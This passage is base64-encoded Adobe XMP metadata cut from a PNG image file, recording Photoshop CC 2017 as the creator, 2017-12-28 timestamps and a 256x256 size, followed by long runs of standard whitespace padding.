biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
